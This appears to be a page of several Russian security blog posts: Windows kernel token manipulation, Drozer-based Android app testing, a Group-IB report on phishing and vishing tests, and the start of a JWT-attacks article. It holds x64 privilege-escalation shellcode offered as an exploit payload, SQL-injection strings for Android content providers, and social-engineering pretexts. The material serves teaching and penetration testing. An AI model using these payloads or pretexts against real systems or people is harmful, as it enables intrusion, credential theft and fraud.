  • SeDebug

  • SeLoadDriver

  • SeLockMemory

  • SeManageVolume

  • SeRestore

  • SeSecurity

  • SeTakeOwnership

Каждая строка это константа, которая определяет, какие привилегии существуют в токене. В операционной системе данный из токена включены в специальную структуру, которая называется Security Descriptor:

В качестве подопытного процесса возьмём процесс System. Для получения адреса токена можно ввести следующую команду dx @$cursession.Processes[4].KernelObject.Token

Токен хранится с использованием EXFAST_REF это означает, что нужно занулить последний байт, чтобы вычислить адрес токена:

Посмотрим полный список групп и привилегий у пользователя System:

Стоит обратить внимание на тот факт, что найти Security Descriptor можно за несколько шагов, которые представлены выше на снимке. Полный список информации о привилегиях и группах представлен ниже:

Исследуем, что будет, если мы модифицируем ссылку на токен из отладчика:

Из-за изменения токена на нулевой, произошёл BSOD. В Windows была возможность использовать нулевой токен, но всё закончилось на Windows 10 1607. Был имплементирован механизм, который вызывает BSOD, если ссылка на токен в Security Descriptor модифицируется. Анализ дампа показывает, что проблема в испорченном объекте:

А можем ли мы все таки произвести модификацию без BSOD? Попробуем модифицировать так, чтобы осталась возможность работать с ОС. Для проверки попробуем создать условия, при которых токен обычного пользователя включал максимальное количество привилегий:

1.Найдем системный процесс и выясним, какие привилегии у него включены:

2.Пройдем в токен cmd.exe просмотрим текущее значение на включенные права:

3.Модифицируем права. Список прав после модификации:

Модификация прошла успешно, но все равно пользователь не может аттачиться к ряду системных приложений. Из-за того, что у пользователя еще остались ограничения из-за Integrity Levels и дополнительных битов, которые запрещают взаимодействие с процессами.

А можно ли провести выставление конкретных прав у пользователя в дескрипторе? Попробуем определить. В официальной документации указываются только строковые приставления констант, попробуем переписать токен значениями: 0x1

BSOD не произошло, похоже что механизм защиты просматривает только случаи, когда испорчен заголовок объекта. Это хорошо, значит, можно брутить. Первое значение, которое показало какой-то вменяемый результат 0x100000.

В итоге перебора значений были получены следующие данные о константах в токене:

  • SeDebugPrivilege - 0x100000

  • SeAuditPrivilege - 0x200000

  • SeSystemEnvironmentPrivilege - 0x400000

  • SeCreatePermanentPrivilege - 0x010000

  • SeSystemtimePrivilege - 0x001000

  • SeSecurityPrivilege - 0x000100

  • SeLockMemoryPrivilege - 0x000010

Получается, что хранимые привилегии это всего лишь байт в поле из 6 байт. И все действия, которые были проведены в отладчике, могут быть выполнены через shellcode, только нужно учитывать, что в эксперименте мы просто проставляли права как существующие, но для их полноценного использования их нужно еще включить. То есть записать привилегии по адресу SEPTOKEN_PRIVILEGES и _SEPTOKENPRIVILEGES+0x8.

Проведем следующий эксперимент отнимем привилегии у процесса System и посмотрим, сможем ли мы выполнить операции, которые требуют расширенных привилегий.

В качестве теста была запущена команда netstat -ab, команда успешно отработала. Почему так произошло? Ведь все данные из токена о привилегиях были удалены. Здесь стоит вспомнить, что в ОС Windows привилегии наследуются от группы к пользователю, поэтому пока пользователь System принадлежит группам из списка ниже, он сможет продолжать использовать свои привилегии:

Ну и напоследок, шелкод, который можно использовать в качестве payload для эксплойтов из прошлой статьи:

[BITS 64]start:mov r9, [gs:0x188]                ;KPROCESS/currentThreadmov r9, [r9+0x220]                ;EPROCESS смещение к KTHREADmov r8, [r9+0x3e8]                ;InheritedFromUniqueProcessId (cmd.exe PID)mov rax, r9                           loop1:  mov rax, [rax + 0x2f0]         sub rax, 0x2f0                    ;KPROCESS  cmp [rax + 0x2e8],r8              ;сравнить ProcessId  jne loop1                           mov rcx, rax                        ;если найден нужный PID EPROCESSadd rcx, 0x360                        mov rax, [rcx]                           and rax, 0xFFFFFFFFFFFFFFF0mov r8,  0x1e73deff20               ;System набор привилегийmov [rax+0x48],r8                   ;Перезапись привилегийret

Узнать подробнее о курсе "Пентест. Практика тестирования на проникновение".

Смотреть открытый вебинар на тему
"Windows AD сбор информации, эскалация привилегий. Эксплойты и уязвимости последних 5ти лет."


ЗАБРАТЬ СКИДКУ

Подробнее..

Проверяем безопасность приложений с помощью Drozer

28.12.2020 22:14:52 | Автор: admin


Drozer обязательный инструмент в арсенале каждого пентестера. С его помощью можно быстро получить информацию о приложении и его слабых местах.


Drozer предустановлен в Kali Linux и других ОС для белого хакинга.


Возможности Drozer:


  1. Получение информации о пакете
  2. Определение поверхности атаки
  3. Запуск активностей
  4. Чтение от поставщиков содержимого
  5. Взаимодействие со службами
  6. Дополнительные опции

1. Получение информации о пакете


Мы можем получить пакеты, присутствующие на подключенных устройствах, а также информацию о любом установленном пакете.


To get list of all packages present in the device.dz> run app.package.listTo search for a package name from the above listdz> run app.package.list -f <your_string>To get basic info about any selected packagedz> run app.package.info -a <package_name>

2. Определение поверхности атаки


Это та часть, с которой мы начинаем исследовать уязвимости. В первую очередь проверим количество экспортированных:


  • Активностей
  • Поставщиков содержимого
  • Служб

To get list of exported Activities, Broadcast Receivers, Content Providers and Services:dz> run app.package.attacksurface <package_name>  3 activities exported  0 broadcast receivers exported  2 content providers exported  2 services exported is debuggable

3. Запуск активностей


Теперь мы попытаемся запустить экспортированные активности и попробуем обойти аутентификацию. Начинаем с запуска всех экспортируемых активностей.


To get a list activities from a packagedz> run app.activity.info -a <package_name>To launch any selected activitydz> run app.activity.start --component <package_name> <activity_name>

4. Чтение от поставщиков контента


Далее мы попытаемся собрать больше информации о поставщиках контента, экспортируемых приложением.


To get info about the content providers:dz> run app.provider.info -a <package_name>Example Result:Package: com.mwr.example.sieveAuthority: com.mwr.example.sieve.DBContentProviderRead Permission: nullWrite Permission: nullContent Provider: com.mwr.example.sieve.DBContentProviderMultiprocess Allowed: TrueGrant Uri Permissions: FalsePath Permissions:Path: /KeysType: PATTERN_LITERALRead Permission: com.mwr.example.sieve.READ_KEYSWrite Permission: com.mwr.example.sieve.WRITE_KEYS

Вышеупомянутый поставщик содержимого называется DBContentProvider (Database Backed Content Provider). Угадать URI контента очень сложно, однако drozer предоставляет модуль сканера, который объединяет различные способы угадывать путь и определять список доступных URI контента. Мы можем получить URI контента с помощью:


To get the content URIs for the selected packagedz> run scanner.provider.finduris -a <your_package>Example Result:Scanning com.mwr.example.sieve...Unable to Query content://com.mwr.example.sieve.DBContentProvider/  ...Unable to Querycontent://com.mwr.example.sieve.DBContentProvider/KeysAccessible content URIs:  content://com.mwr.example.sieve.DBContentProvider/Keys/  content://com.mwr.example.sieve.DBContentProvider/Passwords  content://com.mwr.example.sieve.DBContentProvider/Passwords/

Теперь мы можем использовать другие модули drozer для извлечения информации из этих URI контента или даже для изменений в базе данных.


To retrieve or modify data using the above content URIs:dz> run app.provider.querycontent://com.mwr.example.sieve.DBContentProvider/Password/ --vertical   _id: 1 service: Email username: incognitoguy50 password: PSFjqXIMVa5NJFudgDuuLVgJYFD+8w== (Base64-encoded) email: incognitoguy50@gmail.com

Платформа Android поощряет использование баз данных SQLite, которые могут быть уязвимы для SQL-инъекции. Мы можем протестировать SQL-инъекцию, манипулируя полями проекции и выбора.


To attack using SQL injection:dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "'"unrecognized token: "' FROM Passwords" (code 1): , while compiling: SELECT 'FROM Passwordsdz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "'" unrecognized token: "')" (code 1): , while compiling: SELECT * FROM Passwords WHERE (')

Android возвращает подробное сообщение об ошибке, показывающее весь запрос, который мы пытались выполнить. Его можно использовать для вывода списка всех таблиц в базе данных.


To attack using SQL injection:dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM SQLITE_MASTER WHERE type='table';--"| type  | name      | tbl_name         | rootpage | sql           || table | android_metadata | android_metadata| 3 |CREATE TABLE... || table | Passwords        | Passwords       | 4 |CREATE TABLE ...|| table | Key              | Key             | 5 |CREATE TABLE ...|

Поставщик содержимого может предоставить доступ к базовой файловой системе. Это позволяет приложениям обмениваться файлами, где песочница Android могла бы предотвратить это.


To read the files in the file systemdz> run app.provider.read <URI>To download content from the filedz> run app.provider.download <URI>To check for injection vulnerabilitiesdz> run scanner.provider.injection -a <package_name>To check for directory traversal vulnerabilitiesdz> run scanner.provider.traversal -a <package_name>

5. Взаимодействие со службами


Для взаимодействия с экспортированными службами мы можем попросить Drozer предоставить более подробную информацию, используя:


To get details about exported servicesdz> run app.service.info -a <package_name>

6. Дополнительные опции


Для получения дополнительной информации существует несколько замечательных команд:


  • shell.start запустить интерактивную оболочку Linux на устройстве.


  • tools.file.upload / tools.file.download Разрешить копирование файлов на / с устройства Android.


  • tools.setup.busybox / tools.setup.minimalsu Установить на устройство полезные двоичные файлы.



image

Подробнее..

Социотехническое тестирование какое лучше выбрать в 2021 году?

29.12.2020 12:11:44 | Автор: admin


В интернете предостаточно статей о важности социотехнического тестирования. В них разбирается само понятие, методика, инструменты и почему так важно его проводить. Все просто: человек слабое звено в системе защиты любой компании.

В этой статье команда департамента аудита и консалтинга Group-IB решила пойти дальше и поделиться своим опытом социотехнического тестирования, которое проводила в этом году. Расскажем, для каких целей использовать данный вид тестирования, какие форматы предпочитали компании, что лучше выбрать в следующем году, а также каких результатов ждать.

Сразу предупреждаем, что текста получилось немало. Поэтому запасайтесь чаем, теплым свитером и любимой музыкой на фоне перед вами новогоднее чтиво. Также по нашей классике спешим предупредить (внимание: дисклеймер), что все совпадения случайны, а читатель сам в праве думать, что в этих историях правда, а что ложь.

С чего начинается социотехническое тестирование?


Тестирование начинается с формулирования целей. Именно цель определяет остальные составляющие:

  • время на подготовку к тестированию
  • объем разведывательных работ
  • формат тестирования
  • условия, которые должна обеспечить компания для старта работ
  • стоимость тестирования (эту составляющую не обсуждаем в статье)

Для чего и как проводить такое тестирование?


Социотехническое тестирование может проводиться для установления:

  • уровня осведомленности сотрудников и их практических навыков в распознавании социотехнических атак
  • эффективности функционирования систем обеспечения информационной безопасности
  • уровня подготовки сотрудников ИТ- и ИБ-отделов к выявлению и реагированию на социотехнические атаки (уровень осведомленности в вопросах безопасности данных сотрудников выше, что повышает сложность тестирования)
  • возможности компрометации инфраструктуры (социотехническое тестирование может применяться для тестирования на проникновение)

Соотношение цели социотехнического тестирования (социальная инженерия или СИ) и других его составляющих представлено в таблице.
Определить уровень подготовленности сотрудников Определить эффективность функционирования СЗИ Определить уровень подготовленности сотрудников ИТ- и ИБ-отделов Компрометация инфраструктуры
Формат тестирования письма со ссылкой на поддельный ресурс (фишинг)

письма с исполняемым вложением (нагрузка)

телефонное взаимодействие (вишинг)
письма со ссылкой на поддельный ресурс (фишинг)

письма с исполняемым вложением (нагрузка)
письма со ссылкой на поддельный ресурс (фишинг)

письма с исполняемым вложением (нагрузка)

телефонное взаимодействие (вишинг)
письма со ссылкой на поддельный ресурс (фишинг)

письма с исполняемым вложением (нагрузка)
Начальные условия ФИО сотрудников и email-адреса

номера телефонов, ФИО и/или должности сотрудников, а также любая другая информация согласно легенде

добавление в белые списки
(email-адреса, домены, СЗИ и т.д.)
ФИО сотрудников и email-адреса ФИО сотрудников и email-адреса

номера телефонов, ФИО и/или должности сотрудников, а также любая другая информация согласно легенде

добавление в белые списки
(email-адреса, домены, СЗИ и т.д.)
входная информация не предоставляется
Время на подготовку Одна неделя Две недели Одна-две недели Три недели

Теория, теория Где же обещанные истории?


Да-да. Раз обещали рассказать про опыт, то и историями поделимся. Основные моменты мы расскажем немного позже в кейсах. А сейчас немного отвлечемся на различные ошибки и просто любопытные моменты.

Очевидно, что одинаковое понимание целей и процедуры проведения социотехнического тестирования обеими сторонами (источником и потребителем), участвующими в тестировании, позволяет избежать ошибок, которые тормозят, угрожают срывом тестирования и негативно влияют на результаты.

Как показывает практика, ошибки, вызванные недопонимаем сторон, встречаются достаточно часто. Например, со стороны компаний, заказывающих социотехническое тестирование, нас поджидали следующие неожиданности:

  • затягивание согласования легенды и предоставления адресов почты для рассылки
  • предоставление неактуального списка сотрудников
  • многократная отработка одной легенды на одних и тех же сотрудниках
  • загрузка подготовленной полезной нагрузки в используемое СЗИ (да-да, здесь речь про проверку осведомленности/подготовленности сотрудников, а не СЗИ...)
  • добавление сотрудников ИТ/ИБ-отделов в рабочую переписку (при том что их уровень осведомленности и проверялся)

Но будем честны эксперты тоже не застрахованы от подобных ошибок, влияющих на результаты тестирования. И вот одна из них:

Представим, что в компании N проводится несколько социотехнических тестирований, каждое из которых включает телефонное взаимодействие с сотрудниками. Список сотрудников и их контакты предоставлял представитель компании.

Первое телефонное взаимодействие было успешным: ряд сотрудников, поддавшись на уговоры эксперта, совершили потенциально опасные действия.

Второе тестирование тоже: сотрудники поверили легенде и охотно выполнили все, о чем их попросили.

А вот третье тестирование закончилось, не успев начаться. Уже на втором звонке легенда была раскрыта, сотрудник сказал, что дважды на одну удочку не попадется и оповестит о тестировании всех сотрудников, включая службу безопасности. Тестирование пришлось остановить.

Шок! Как так? Поиск ошибки начали с повторной проверки списка сотрудников, заявленных на каждое из трех тестирований. Совпадений нет. Потом проверили номера телефонов И вот он один номер телефона, только в первом тестировании он заявлен для Ивановой Анны Сергеевны, а в третьем для Петровой Анны Сергеевны (здесь и далее используются вымышленные имена). За время, прошедшее между тестированиями, девушка сменила фамилию.

В ходе первого тестирования Иванова Анна Сергеевна поверила в легенду и выполнила все действия, следуя указаниям эксперта, а вот Петрова Анна Сергеевна быстро поставила на место нерадивого эксперта.

Получается, что ошибка была допущена на этапе подготовки: эксперт проверил только фамилии сотрудников, но проигнорировал номера телефонов.

Что из этого можно вынести? На ошибках учатся, и теперь мы внимательнее проверяем списки сотрудников, по разным критериям, разрабатываем сценарии отхода, а эксперты делятся друг с другом своими ошибками на Вики-страницах, чтобы не повторять их.

Разбираем тренды уходящего года


Форматы социотехнического тестирования


Мы покажем сводную статистику по всем социотехническим тестированиям, которые мы провели в 2020 году, а также разберем кейсы наиболее интересных и показательных проектов.

В проектах использовались следующие форматы социотехнического тестирования:

  • рассылка фишинговых писем со ссылкой на поддельный ресурс 52%
  • рассылка фишинговых писем с исполняемым вложением 36%
  • телефонные звонки (вишинг) 12%

Самым результативным (отношение количества попавшихся к общему числу получателей) из представленных форматов стал вишинг 37%.

О высокой результативности вишинга знают не только эксперты по информационной безопасности, но и реальные злоумышленники, а также различные блогеры и репортеры. Ведь не просто так в последние годы количество вишинг-атак растет.

2020 год отметился настоящим бумом вишинга как в плане звонков от самих злоумышленников, так и в плане расследований СМИ. В этом году легенды вишинга стали более разнообразны и изобретательны: предложение медицинских и юридических услуг, звонки от лица сотрудника прокуратуры, и не стоит забывать о классике расследование подозрительного перевода банком (порядком приевшийся прием, но, к сожалению, все еще работающий).

Высокая результативность вишинга объясняется следующими моментами:

  • Заранее известна информация, которую нужно получить. Это позволяет сформировать сценарий разговора, проработать вопросы, которые надо задать для достижения цели. Есть возможность подготовить пути отхода, если собеседник начнет что-то подозревать.
  • Большой объем работ по сбору информации о сотрудниках и компании, которая используется для формирования легенды и сценария разговора. Например:

    о сотрудниках: ФИО, номер мобильного телефона, добавочный номер, адрес корпоративной электронной почты, ник в телеграмме, отдел, в котором работает сотрудник, его должность, дата рождения и фото;

    о компании: наименования подразделений и имена руководителей ключевых подразделений; используемые внутренние системы.
  • В разговоре используется информация, которая указывает на осведомленность эксперта во внутренних процессах компании; отсылки на распоряжения, якобы полученные от начальников структурных подразделений компании. Например:
    Эксперт: Здравствуйте, Татьяна Игоревна! Звоню вам по просьбе руководителя Владимира Алексеевича Кузнецова. У нас произошел инцидент ИБ: по вашему пропуску сегодня через систему контроля управления доступом был зафиксирован проход в хранилище M.
  • Эксперт демонстрирует эмоциональную заинтересованность в сложившейся ситуации или схожие интересы, чтобы притупить внимание собеседника:
    Эксперт: Вы пользуетесь ноутбуком только как рабочим компьютером или по каким-то еще личным делам?
    Сотрудник: Ну, смотрю YouTube еще.
    Эксперт: Да-да, я понимаю. Не переживайте. Просто возможно, что ваша доменная учетная запись была скомпрометирована и с ее помощью смогли пройти через СКУД.

Также следует помнить про внезапность звонка (человек может не понять, кто звонит) и возможность подмены номера. Таким образом, все перечисленные приемы позволяют увеличить доверие со стороны сотрудника и ослабить его бдительность.

Что касается диалогов выше, все они приведены из реального разговора, который состоялся в рамках проекта по вишингу. В кейсе 1 подробнее рассказываем про проект и его результаты.

Кейс 1


Цель: получить информацию разной степени критичности (компания определила информацию, которую считала конфиденциальной).
Легенда: сотрудника уведомляют об инциденте ИБ его пропуск использовали для несанкционированного прохода через СКУД в хранилище М. Служба безопасности расследует инцидент и звонит, чтобы узнать текущее местоположение пропуска, где находился пропуск в рабочее время, существуют ли альтернативные способы для прохождения СКУД. Звонят в нерабочее время (выходной день). Эксперт должен убедить сотрудника проверить доменную учетную запись на факт компрометации сотрудника просят аутентифицироваться на резервном портале (фишинговый ресурс).

Количество участников и инфраструктура под спойлером
Количество участников: 50 человек.
Инфраструктура: поддельный домен, поддельный корпоративный портал, который при вводе учетных данных перенаправлял сотрудника на оригинальный портал.

Вернемся к Татьяне Игоревне и информации, которую она предоставила за время разговора:

  • использует пропуск и специальный браслет для прохождения СКУД
  • пропуск и браслет находятся дома
  • использует корпоративную электронную почту дома
  • предоставила свои учетные данные, введя их на фишинговом ресурсе:

    02.03.2020 13:48:25#0.2.0.2#ida****:rsa****55#Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 YaBrowser/19.3.1.828 Yowser/2.5 Safari/537.36

Компания остановила тестирование сотрудников после того как:

  • 29 телефонных взаимодействий было нами произведено;
  • 23 сотрудника раскрыли конфиденциальную информацию различного уровня критичности.

Как видно из примера, вишинг может использоваться не только для получения личной или конфиденциальной информации, но и для получения прямого доступа к инфраструктуре.

Какие могут быть результаты


Если сравнивать результативность рассылки фишинговых писем со ссылками на поддельный ресурс и писем с исполняемым вложением, то лидирует первый тип.

Один из ключевых факторов успеха в том, что рядовой сотрудник зачастую не разбирается в доменах, поддоменах и пр. Как следствие, он не видит разницы между portal-domain.ru и portal.domain.ru. Слова и порядок их употребления совпадают и там, и там, а вот символов можно пропустить по невнимательности или в спешке.

В свою очередь, рассылка фишинговых писем с исполняемым вложением предполагает большую вовлеченность со стороны сотрудников, поэтому данный формат тестирования показывает наименьшую результативность.



Однако сотрудники, открывшие вредоносные вложения, чаще вступают в переписку с экспертами, чем при работе с фишинговым ресурсом. Это позволяет эксперту продолжать воздействие для достижения своих целей.

Например, в попытке спасти якобы утерянные данные об отпусках сотрудники присылали не только свой график отпуска, но и файл на весь отдел, а там тысячи сотрудников со всеми данными и структура компании.

Также сотрудники часто пересылают письма своим коллегам.

Кейс 2


Цель: оценить осведомленность сотрудников в вопросах информационной безопасности.
Легенда: ознакомиться с новой системой премирования. К письму прилагался документ Премии.xls.

Количество участников и инфраструктура под спойлером
Количество участников: 75 человек.
Инфраструктура: поддельный домен, поддельный почтовый адрес (якобы принадлежащий отделу по работе с персоналом), вредоносная нагрузка, которая выполнялась в ОС удаленного компьютера, обеспечивала соединение с ним и собирала данные о конфигурации ОС.

За время тестирования удалось успешно подключиться к компьютерам 11 сотрудников (14% участников). Столкнувшись якобы с проблемой в работе документа, сотрудники вступали в переписку с экспертами в том числе и не заявленные в тестировании сотрудники.

Пример одной из таких переписок ниже:





В итоге сотрудник прислал ответное письмо, которое содержало скриншот рабочего стола.

Окей, возвращаемся к тенденциям


В 2020-м стали чаще появляться новости о том, что злоумышленники используют фишинг и вишинг в рамках одной атаки. К примеру, в начале декабря сообщалось, что злоумышленники рассылают уведомления о долгах за ЖКУ в размере 1020 тысяч рублей, которые якобы появились за время карантина, и просят оплатить поддельные квитанции онлайн.

Если человек проигнорировал письмо ему звонили от имени сотрудника управляющей компании для проверки ранее совершенных платежей. Преступники убеждали, что долг по квартплате есть, и узнавали способы оплаты и реквизиты карты, которая использовалась для платежа, а затем предлагали сделать пробную транзакцию и сообщить им код из SMS.

Для нас это не было новостью, и к тому моменту мы уже опробовали подобную схему на некоторых проектах: сначала рассылали сотрудникам фишинговые письма, а в случае низкого отклика звонили и в ходе разговора провоцировали сотрудника открыть файл или перейти по ссылке и выполнить действия, указанные в письме, или узнавали, почему он отказался выполнять инструкцию.

В результате сотрудники, которые изначально не хотели переходить по ссылке или не были заинтересованы в предлагаемой акции, меняли отношение к нашему фишинговому письму и, поддавшись на уговоры эксперта, делали то, что угрожало безопасности компании.

Таким образом, проекты, в которых одновременно использовались фишинг и вишинг, оказались более результативными, чем те, где использовался только фишинг. Сотрудники, которые подозревали, что проводится тестирование, меняли свое мнение, верили в легитимность писем и охотно шли на контакт с экспертами.

Примечание: для построения третьей диаграммы использовались общие результаты тестирования в формате фишинговых рассылок, дополняемые вишинг-активностью.



Легенды


Следует отметить, что при разработке легенды учитывается сфера деятельности компании и основной вид деятельности тестируемых сотрудников, но в основе всегда лежит сильная эмоция, которая притупляет внимание и провоцирует на необдуманные действия: жадность, любопытство, страх, доверчивость.

Ниже представлены основные примеры легенд:

  • Изменение в графике работы
  • Изменение в IT-системах
  • Система премирования
  • Скидки и бонусы
  • События в компании

Самой результативной легендой было информирование об изменениях в системе премирования.

Кроме того, упоминание легитимного сервиса, используемого многими компаниями, такого как Office 365, повышает доверие сотрудника. Такой подход часто используют реальные злоумышленники для проведения социотехнических атак.

Реалии 2020-го привнесли новое веяние в легенды социотехнического тестирования, да и реальных атак тоже. На первый план вышла коронавирусная инфекция и все, что с ней связано.

Когда коронавирус только начинался, компании просили не использовать его в качестве легенды, поскольку отсылка к столь актуальной теме гарантировала высокую результативность и негативно сказывалась на настроении сотрудников. Мы отвечали, что реальные злоумышленники не так этичны и активно используют эту легенду с начала пандемии, но получали категорический отказ. В результате табу на использование COVID-19 было снято с введением новых ограничительных мер осенью. Возможно, именно в этот момент компании осознали, что коронавирус с нами надолго и его игнорирование может привести к рискам.

Первый же проект с COVID-19 продемонстрировал неослабевающий интерес людей к данной тем и, как следствие, больше половины участников тестирования выполнили потенциально опасные действия.

Пожалуйста, прислушивайтесь к экспертам при выборе легенд.

Кейс 3


Цель: оценить осведомленность сотрудников в вопросах информационной безопасности.
Легенда: проверить сервис удаленного доступа, поскольку сотрудники переходят на удаленную работу из-за COVID-19. Для проверки доступа надо ввести учетные данные от рабочего компьютера на фишинговой странице, которая копировала страницу входа на VPN-портал.

Количество участников и инфраструктура под спойлером
Количество участников: 150 человек.
Инфраструктура: поддельный домен, поддельный почтовый адрес (якобы принадлежащий ИТ-отделу), поддельная страница входа на VPN-портал.

Пример письма для рассылки:


Мы получили следующие результаты:


Нужно больше тестирований или что будет в периоде


Каждая подобная статья заканчивается списком рекомендаций, которые позволят повысить осведомленность сотрудников в вопросах информационной безопасности.

К примеру, проверять источник письма или путь, по которому ведет ссылка. В целом, разумная рекомендация, но на практике не всегда работает. Вот смотрите: сотрудник, который получает 15 писем в день (возможно, среди читателей найдутся те, кто мечтает получать *всего* 15 писем в день), а чтение и участие в переписке не его основной вид деятельности, не будет до буквы, до знака проверять адрес отправителя или сверять его ФИО с корпоративным списком контактов.

Он увидит знакомый набор символов (самое время вспомнить про portal-domain.ru и portal.domain.ru), а должность отправителя и тема письма определят, в какую очередь он ответит на письмо. Возможно, ответная реакция на фишинговое письмо случится не сразу, но в свое время ссылка будет открыта, а исполняемое вложение запущено.

Еще одна типичная рекомендация регулярные тестирования персонала. Это замечательно, но тоже не всегда работает. Почему смотрите в кейсе 4.

Кейс 4


Компания М время от времени организовывала социотехническое тестирование своих сотрудников. Какого-то ощутимого прогресса в знаниях основ информационной безопасности не наблюдалось: сотрудники продолжали переходить по ссылкам, вступать в переписку и выполнять просьбы.

Чтобы продемонстрировать, что положительная динамика возможна только при регулярном тестировании, решили провести четыре социотехнических тестирования в течение года (в начале каждого квартала). Все тестирования проводились в одном формате, но под разными легендами, а участвовали в них сотрудники одного подразделения.

Результат регулярного тестирования оказался таким же, как и у нерегулярного: сотрудники переходили по ссылкам, вступали в переписку и раскрывали конфиденциальную информацию. Результативность отдельного тестирования в большей степени определялась актуальностью легенды. В 3 квартале легенда с COVID-19 заставила людей забыть о тренингах, наставлениях и рекомендациях.


Даже сотрудники с достаточными знаниями, умеющие распознавать атаки социальной инженерии, склонны проявлять халатное отношение к социотехническому тестированию: раз это очередной тест, то нет ничего страшного, если написать все, что думаешь по этому поводу. Вот только где уверенность, что это не реальная атака?

Кейс 5


В этом примере демонстрируем, как выявленное на ранних этапах социотехническое тестирование оказалось результативным только из-за того, что сотрудники, распознавшие тестирование, не оповестили о нем коллег.

Цель: получить валидные учетные данные сотрудников.
Легенда: проверить наличие доступа к новому корпоративному порталу.

Количество участников и инфраструктура под спойлером
Количество участников: 200 человек.
Инфраструктура: поддельный домен, поддельный почтовый адрес (якобы принадлежащий отделу техподдержки), поддельный корпоративный портал, который при вводе учетных данных перенаправлял сотрудника на оригинальный портал.

Активная фаза социотехнического тестирования началась 11 февраля 2020 года в 13:30 (МСК).

Первые учетные данные мы получили через 4 минуты:
Дата и время IP-адрес /
MAC-адрес
Введенные логин и пароль Общая информация о конфигурации рабочей станции
11.02.2020 13:34 0.0.0.1 ni*********a:V******v Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36
11.02.2020 13:34 0.0.0.6 mi****a:2******aB3 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Примерно через 30 минут после начала тестирования получили данные, явно указывающие, что легенда раскрыта и сотрудники либо догадались о проводимом тестировании, либо заподозрили атаку: вместо учетных данных в логах собиралась ненормативная лексика.
Дата и время IP-адрес /
MAC-адрес
Введенные логин и пароль Общая информация о конфигурации рабочей станции
11.02.2020 14:02 0.0.0.71 Idi ** *** sobaka:ahahhahaha Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.75 Safari/537.36
Судя по полученным результатам (IP-адрес и информация о рабочей станции), мы подозревали, что это администратор. К этому моменту получили уже 37 учетных данных. Цель достигнута!

Тестирование можно сворачивать и садиться за отчет, но сотрудники продолжали вводить учетные данные. Последний ввод данных был зафиксирован 17 февраля. Следовательно, сотрудники, распознавшие тестирование (или атаку), не предупредили об этом своих коллег.
Дата и время IP-адрес /
MAC-адрес
Введенные логин и пароль Общая информация о конфигурации рабочей станции
17.02.2020 14:08 0.0.0.55 Ty********v:T**********rah Mozilla/5.0 (iPhone; CPU iPhone OS 12_1_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0 Mobile/15E148 Safari/604.1
Всего получили 76 уникальных учетных данных. Валидность каждой пары была подтверждена.

Подобное поведение показывает, что сотрудники не до конца понимают, как себя вести при выявлении социотехнической атаки. Важно научить не только распознавать социотехнические атаки, но и правильно на них реагировать.

В случае распознавания атаки или социотехнического тестирования сотрудник не должен идти на контакт со злоумышленником (или экспертом) ни при каком условии и должен немедленно оповестить ответственных за информационную безопасность.

Итоги, проблемы и рекомендации


Наверное, уже пора заканчивать со всеми этими рассказами и историями.

Может показаться, что конец какой-то пессимистичный (какой год такой и конец): сотрудники необучаемы, рассеяны и бизнес все еще в опасности.

На самом деле все не так плохо и не стоит отчаиваться. Обращайтесь к экспертам в области практической безопасности они расскажут об актуальных тенденциях в социотехнических атаках, порекомендуют лучший именно для вас формат тестирования.

Также не забывайте о простых правилах цифровой гигиены и рекомендациях по повышению осведомленности в ИБ.

Мы уже говорили, что в интернете достаточно статей о социотехническом тестировании (такая есть и у нас), а также статей с рекомендациями по повышению защиты. Поэтому хотим в очередной раз просто напомнить, что здесь нужен комплексный подход, а значит следует помнить о:

  • регулярном обучении и опросе сотрудников
  • понятной поставке материалов и гайдов (Вики-страницы, видео и т.п.)
  • обязательной двухфакторной аутентификации
  • разграничении доступа и минимизации прав пользователей
  • хорошей фильтрации электронной почты
  • средствах защиты от целенаправленных атак


Возвращаясь к основному вопросу: что же выбрать в 2021-м?

Мы решили оставить его на размышление вам. Рекомендуем попробовать фишинг + вишинг или только вишинг. Поможет сотрудникам не только в корпоративной среде, но и при подобных атаках в нерабочей обстановке.

Главное, про что стоит помнить: обучение и социотехнические тестирования должны быть направлены на формирование культуры поведения, которая позволит своевременно выявлять и эффективно реагировать на различные атаки.

Стоит сместить фокус с заучивания обязательных действий по обнаружению социотехнических атак на объяснение, почему их должен выполнять каждый сотрудник в компании. Без осознанного подхода к информационной безопасности со стороны сотрудников ни одна обучающая программа не сработает.
Подробнее..

Атаки на JSON Web Tokens

09.01.2021 12:13:57 | Автор: admin


Содержание:


  • Что такое JWT?
    • Заголовок
    • Полезная нагрузка
    • Подпись
    • Что такое SECRET_KEY?
  • Атаки на JWT:
    • Базовые атаки:
      1. Нет алгоритма
      2. Изменяем алгоритм с RS256 на HS256
      3. Без проверки подписи
      4. Взлом секретного ключа
      5. Использование произвольных файлов для проверки
    • Продвинутые атаки:
      1. SQL-инъекция
      2. Параметр поддельного заголовка
      3. Внедрение заголовка ответа HTTP
      4. Прочие уязвимости

Что такое JSON Web Token?


Веб-токен JSON обычно используется для авторизации в клиент-серверных приложениях. JWT состоит из трех элементов:


  • Заголовок
  • Полезная нагрузка
  • Подпись

Заголовок


Это объект JSON, который представляет собой метаданные токена. Чаще всего состоит из двух полей:


  • Тип токена
  • Алгоритм хэширования

Официальный сайт предлагает два алгоритма хэширования:


  • HS256
  • RS256

Но на самом деле любой алгоритм с приватным ключом может быть использован.


Полезная нагрузка


Это также объект JSON, который используется для хранения такой информации о пользователе, как:


  • идентификатор
  • имя пользователя
  • роль
  • время генерации токена и т.д.

Подпись


Это наиболее важная часть, поскольку она определяет целостность токена путем подписания заголовка и полезной нагрузки в кодировке Base64-URL, разделенных точкой (.) с секретным ключом. Например, чтобы сгенерировать токен с помощью алгоритма HS256, псевдокод будет таким:


